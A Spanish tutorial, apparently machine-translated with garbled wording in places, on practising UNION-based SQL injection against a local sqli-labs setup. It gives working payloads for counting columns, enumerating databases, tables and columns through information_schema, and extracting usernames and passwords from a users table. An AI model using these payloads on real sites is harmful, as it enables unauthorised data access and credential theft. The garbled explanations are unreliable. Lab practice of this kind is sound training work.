inyección conjunta sql
Preparación antes de la inyección
Cree una plataforma de inyección SQL local
La dirección de descarga de sqli-labs: https://github.com/Audi-1/sqli-labs
Primero, la versión de PHP no puede ser mayor que 7; de lo contrario, no se puede usar.
Descomprimir para
Hay un archivo db-creds.inc en sqli-labs-master \ sql-connections. Abra y modifique la cuenta y la contraseña.
Como se muestra en la figura siguiente, es normal
. El rango de disparo se puede configurar y la inyección SQL puede ser practicado.
Funcionamiento básico de inyección
Juzgando si el plástico o el tipo de personaje
Después de ingresar y 1 = 1 y 1 = 2, si la página no cambia, no es una inyección de números enteros.
Si el cambio es una inyección de números enteros
, ¿dónde está el número entero ? No agregue ningún símbolo después de id = 1.
¿Se puede usar el tipo de carácter? Después de id = 1, agregue cuatro símbolos de ', ",'),")
Determinar la cantidad de columnas de consulta
Utilice el orden por declaración
Como se puede ver en la figura anterior, se informará un error cuando el número de columnas sea mayor o igual que él.
?id=1'order by3--+
Posición de visualización del juicio
Utilice la declaración del sindicato, la declaración
antes de que el sindicato debe informar un error
?id=-1' union select 1,2,3--+
Obtener todos los nombres de la base de datos
Usa la función group_concat ()
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
Obtener el nombre de la tabla
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
Obtener el nombre de la columna
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
Obtenga la información en la columna
?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23